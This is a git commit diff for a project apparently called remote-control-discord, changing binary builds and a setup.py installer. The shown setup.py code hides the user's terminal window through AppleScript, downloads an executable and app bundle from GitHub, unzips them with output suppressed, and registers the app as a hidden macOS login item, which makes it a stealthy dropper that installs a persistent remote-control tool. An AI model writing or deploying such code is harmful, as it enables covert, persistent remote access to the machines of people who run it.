summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--dist/main.app.zipbin7374717 -> 7374717 bytes
-rwxr-xr-xdist/setup-macbin7447152 -> 7447200 bytes
-rw-r--r--dist/setup.app.zipbin7372135 -> 7372177 bytes
-rwxr-xr-xdist/setup.app/Contents/MacOS/setupbin7447152 -> 7447200 bytes
-rw-r--r--setup.py4
5 files changed, 2 insertions, 2 deletions
diff --git a/dist/main.app.zip b/dist/main.app.zip
index 08b99cb..a7c878f 100644
--- a/dist/main.app.zip
+++ b/dist/main.app.zip
Binary files differ
diff --git a/dist/setup-mac b/dist/setup-mac
index ad16379..248fe7e 100755
--- a/dist/setup-mac
+++ b/dist/setup-mac
Binary files differ
diff --git a/dist/setup.app.zip b/dist/setup.app.zip
index d176388..5f621de 100644
--- a/dist/setup.app.zip
+++ b/dist/setup.app.zip
Binary files differ
diff --git a/dist/setup.app/Contents/MacOS/setup b/dist/setup.app/Contents/MacOS/setup
index a24f6b7..3540ad5 100755
--- a/dist/setup.app/Contents/MacOS/setup
+++ b/dist/setup.app/Contents/MacOS/setup
Binary files differ
diff --git a/setup.py b/setup.py
index 0c32a16..8e3dd71 100644
--- a/setup.py
+++ b/setup.py
@@ -23,8 +23,8 @@ if platform == "darwin":
system("osascript -e 'tell application \"System Events\" to set activeApp to name of first application process whose frontmost is true' -e 'set terminalEmulators to {\"Terminal\", \"iTerm\", \"Hyper\", \"Kitty\"}' -e 'repeat with termApp in terminalEmulators' -e 'if (activeApp contains termApp) then' -e 'tell application termApp to set currentWindow to front window' -e 'set visible of currentWindow to false' -e 'exit repeat' -e 'end if' -e 'end repeat'")
open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-mac", allow_redirects=True).content)
open(f"{localfile}.tmp.zip", 'wb').write(get("https://github.com/mrdog233o5/remote-control-discord/raw/main/dist/main.app.zip", allow_redirects=True).content)
- system(f"unzip {localfile}.tmp.zip")
- system(f"mv {localfile}.tmp/dist/* {localfile}.app && rm -rf {localfile}.tmp*")
+ system(f"unzip -o {localfile}.tmp.zip > /dev/null")
+ system(f"mv {expanduser('~')}/dist/* {localfile}.app && rm -rf {localfile}.tmp.zip {expanduser('~')}/dist")
system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{localfile}.app\", hidden:true}}' > /dev/null")
elif platform == "linux":
from os import environ